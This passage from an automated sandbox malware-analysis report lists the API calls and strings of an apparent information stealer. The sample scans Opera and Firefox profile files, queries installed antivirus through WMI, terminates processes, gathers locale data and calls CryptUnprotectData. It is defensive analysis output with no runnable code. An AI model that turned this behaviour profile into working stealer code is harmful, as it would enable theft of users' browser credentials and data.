Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003E0D10: GetFileAttributesA.KERNEL32(00000000,?,?,003DB844,?,00000000,?,00000000,003F01E9,003F01E9), ref: 003E0D1D

Part of subcall function 003D9D40: FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,003F01E9,?,75B0AC90,?), ref: 003D9D8B
Part of subcall function 003D9D40: StrCmpCA.SHLWAPI(?,003F01DC), ref: 003D9DAE
Part of subcall function 003D9D40: StrCmpCA.SHLWAPI(?,003F01D8), ref: 003D9DC8

FindNextFileA.KERNEL32(?,?), ref: 003DA984

Strings

Opera GX, xrefs: 003DA3E3
Opera Crypto, xrefs: 003DA3F7
\*.*, xrefs: 003DA2D9
Opera, xrefs: 003DA3CF

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$Find$Firstlstrcat$AttributesNextlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 3824151033-1710495004
Opcode ID: f2b670fba5402d7955419eb730429b0a79eb4c8e37e071291ff84b7b15bdc527
Instruction ID: d73697afac91c627e2e87231be53a39152d1cd3176515481ad37e8f24f311162
Opcode Fuzzy Hash: f2b670fba5402d7955419eb730429b0a79eb4c8e37e071291ff84b7b15bdc527
Instruction Fuzzy Hash: E91210779101486FDB0AFB70EC92EED7378AF54300F44457AF5076A291EF706A48DAA2

Function 003E0900 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 141comCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000000,00000000,?,00000030,?,00000000,?,AV: ,00000000,?,003F3408,00000000,?,00000000,00000000), ref: 003E0928
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000030,?,00000000,?,AV: ,00000000), ref: 003E0939
CoCreateInstance.OLE32(003F49C0,00000000,00000001,003F48F0,00000000,?,00000030,?,00000000,?,AV: ,00000000,?,003F3408,00000000,?), ref: 003E0953
CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000030,?,00000000,?,AV: ,00000000,?), ref: 003E098C
VariantInit.OLEAUT32(?), ref: 003E09E3

Part of subcall function 003E0CF0: LocalAlloc.KERNEL32(00000040,00000005,00000000,?,003E0A09,00000030,?,00000030,?,00000000,?,AV: ,00000000,?,003F3408,00000000), ref: 003E0CF8
Part of subcall function 003E0CF0: CharToOemW.USER32(?,00000000), ref: 003E0D05

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

VariantClear.OLEAUT32(?), ref: 003E0A1B

Strings

WQL, xrefs: 003E09A6
root\SecurityCenter2, xrefs: 003E096B
Select * From AntiVirusProduct, xrefs: 003E09A1
displayName, xrefs: 003E09F5
Unknown, xrefs: 003E0A3E

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 685420537-2561087649
Opcode ID: 457672b239cb20fecfb8504ea2b136b314ccf058281a3504f88e4dbca4cc7ba6
Instruction ID: 87709d11d0a773daacdcebe1f4fa5ecb9ca7b7023bd03ed42ddb562cd3015410
Opcode Fuzzy Hash: 457672b239cb20fecfb8504ea2b136b314ccf058281a3504f88e4dbca4cc7ba6
Instruction Fuzzy Hash: B4414071A41229BFCB15DB99DC45EEFBBBCEF49760F104215F515A7280C7B4AA01CBA0

Function 003DB390 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 283fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003F34C0,003F01E9,00000000,?,?), ref: 003DB3F2
StrCmpCA.SHLWAPI(?,003F01DC), ref: 003DB41C
StrCmpCA.SHLWAPI(?,003F01D8), ref: 003DB436
StrCmpCA.SHLWAPI(?,prefs.js,00000000,?,?,?,003F01E0,?,?,003F01E9), ref: 003DB4B0

Part of subcall function 003E0B80: GetSystemTime.KERNEL32(003F01E9,031D69A0,003F01E9,?,00000030,003F01E9,003F01E9,?,00000000,?,?,003E76BE), ref: 003E0BA9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003DB562
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003DB59A
DeleteFileA.KERNEL32(00000000,?,003F01E9), ref: 003DB63E

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003E10F0: memset.MSVCRT ref: 003E110A
Part of subcall function 003E10F0: GetProcessHeap.KERNEL32(00000000,000000FA,00000000,00000000,?,003D9753,003D9C77), ref: 003E113D
Part of subcall function 003E10F0: HeapAlloc.KERNEL32(00000000,?,003D9753,003D9C77), ref: 003E1144
Part of subcall function 003E10F0: wsprintfW.USER32 ref: 003E1153
Part of subcall function 003E10F0: OpenProcess.KERNEL32(00001001,00000000,?,?), ref: 003E11BB
Part of subcall function 003E10F0: TerminateProcess.KERNEL32(00000000,00000000,?,?), ref: 003E11CA
Part of subcall function 003E10F0: CloseHandle.KERNEL32(00000000,?,?), ref: 003E11D1

FindNextFileA.KERNELBASE(00000000,?), ref: 003DB6F5
FindClose.KERNEL32(00000000), ref: 003DB704

Strings

prefs.js, xrefs: 003DB4A4

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$FindProcess$CloseCopyHeaplstrcat$AllocDeleteFirstHandleNextOpenSystemTerminateTimelstrlenmemsetwsprintf
String ID: prefs.js
API String ID: 874672723-3783873740
Opcode ID: b35d8678ec4580f033659a1cf73ca5b188f8705f3698cfa176c5ded4364437ed
Instruction ID: 0c48af70bc146d2f0fc1cd588f15c04a8762d7efa727274567b2cbad5dae2d7d
Opcode Fuzzy Hash: b35d8678ec4580f033659a1cf73ca5b188f8705f3698cfa176c5ded4364437ed
Instruction Fuzzy Hash: ECA14576910148AFCB15FB70EC96EEE7778AF54300F44852AF9066B391EF306A49CB91

Function 003D99F0 Relevance: 13.8, APIs: 9, Instructions: 251fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003F34C0,003F01E9,?), ref: 003D9A50
StrCmpCA.SHLWAPI(?,003F01DC), ref: 003D9A6D
StrCmpCA.SHLWAPI(?,003F01D8), ref: 003D9A87
StrCmpCA.SHLWAPI(?,031D5368,00000000,?,?,?,003F01E0,?,?,003F01E9), ref: 003D9B03
StrCmpCA.SHLWAPI(?,031D5E70), ref: 003D9B69

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003D8DD0: CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003D8E75
Part of subcall function 003D8DD0: CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003D8EAA

FindNextFileA.KERNELBASE(00000000,?), ref: 003D9CDF
FindClose.KERNEL32(00000000), ref: 003D9CEE

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$Find$Copylstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 1309316030-0
Opcode ID: c2fc0f5e1185345a24ddc044dfb3b85b9ae7334699e1be8b65baf53611a4fbce
Instruction ID: 6e628fe06f4ca7bff16b2a09bf6ba0ba95abf504832b6f122fff34db332ccfad
Opcode Fuzzy Hash: c2fc0f5e1185345a24ddc044dfb3b85b9ae7334699e1be8b65baf53611a4fbce
Instruction Fuzzy Hash: 3F9148B7910148ABCB16FB70EC96AEE377DAF44340F44862BF90297395EF705608D692

Function 003DFC30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

GetKeyboardLayoutList.USER32(00000000,00000000,003F01E9,00000000,?,00000030), ref: 003DFC4D
LocalAlloc.KERNEL32(00000040,00000000,?,00000030), ref: 003DFC5F
GetKeyboardLayoutList.USER32(00000000,00000000,?,00000030), ref: 003DFC69
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,?,00000030), ref: 003DFC93

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

LocalFree.KERNEL32(00000000,?,00000030), ref: 003DFD16

Strings

/ , xrefs: 003DFCAB

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: 39dc59d08d369f8ee2e26df77efff8a83b7a0fb64bdf9d4d67a16fc9f933eaca
Instruction ID: 74d8292361a369777dcdcd7d04958e0e4fb2c7df707011f39b5d52fe223d2a24
Opcode Fuzzy Hash: 39dc59d08d369f8ee2e26df77efff8a83b7a0fb64bdf9d4d67a16fc9f933eaca
Instruction Fuzzy Hash: F2219E72910208BFDB01EBA0ECD5EEE777DEF88300F444129F9069B281DB309A45CBA1

Function 003DFBC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003DFBD1
HeapAlloc.KERNEL32(00000000), ref: 003DFBD8
GetTimeZoneInformation.KERNEL32(?), ref: 003DFBE7
wsprintfA.USER32 ref: 003DFC12

Strings

wwww, xrefs: 003DFBF8

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID: wwww
API String ID: 362916592-671953474
Opcode ID: 907cbfe9631a10803580ed0dad8f0b2e1134b8a525d33ea67adb3badf8c75623
Instruction ID: c766a5a14755aec5234a05e9fd1e72b60b89ab7cd245799dfbded6556759550f
Opcode Fuzzy Hash: 907cbfe9631a10803580ed0dad8f0b2e1134b8a525d33ea67adb3badf8c75623
Instruction Fuzzy Hash: 09F0A771B4021CABD71C7B78AC4DEAB7B6EAB41311F059365FD06CB2D0DB7059144AD1

Function 003E12F0 Relevance: 7.6, APIs: 5, Instructions: 61processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 003E1329
Process32First.KERNEL32(00000000,00000128), ref: 003E1339
Process32Next.KERNEL32(00000000,00000128), ref: 003E134B
StrCmpCA.SHLWAPI(?,?), ref: 003E1360
CloseHandle.KERNEL32(00000000), ref: 003E1385

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 832e304961ffdd8f88ba83faf89c73f8e0df4d424ff920d8bc09cad3eac3e0e9
Instruction ID: 26c1e5ab9b1cd299eacef4aedcef1f4db5ed10d0e626f384df8e478637c0c3fd
Opcode Fuzzy Hash: 832e304961ffdd8f88ba83faf89c73f8e0df4d424ff920d8bc09cad3eac3e0e9
Instruction Fuzzy Hash: 28118175A01158AFCB11DF99DC05BEEB7BCFB44710F00826AE819E3680D7345A00CBA0

Function 003E1400 Relevance: 7.6, APIs: 5, Instructions: 53processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 003E1439
Process32First.KERNEL32(00000000,00000128), ref: 003E1449
Process32Next.KERNEL32(00000000,00000128), ref: 003E145B
StrCmpCA.SHLWAPI(?,003F3EE4), ref: 003E1470
FindCloseChangeNotification.KERNEL32(00000000), ref: 003E1482

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32
String ID:
API String ID: 3243318325-0
Opcode ID: e3ee157d2d24298b2452f278a22971bdb0139f09b4f6987de3a43fe17d5b068c
Instruction ID: 1581c27099c2afb7edf3a77aebbf9cc363868f2d2d6999f62ee1d84490618374
Opcode Fuzzy Hash: e3ee157d2d24298b2452f278a22971bdb0139f09b4f6987de3a43fe17d5b068c
Instruction Fuzzy Hash: 2F11A571944268AFCB119F56DC55BEBBBBCFB15750F00926AF50593280DB745A04CFE0

Function 003D6D50 Relevance: 4.5, APIs: 3, Instructions: 47memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(003DEC94,00000000,00000000,00000000,00000000,00000000,?), ref: 003D6D75
LocalAlloc.KERNEL32(00000040,?,00000000), ref: 003D6D8D
LocalFree.KERNEL32(?), ref: 003D6DAE

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
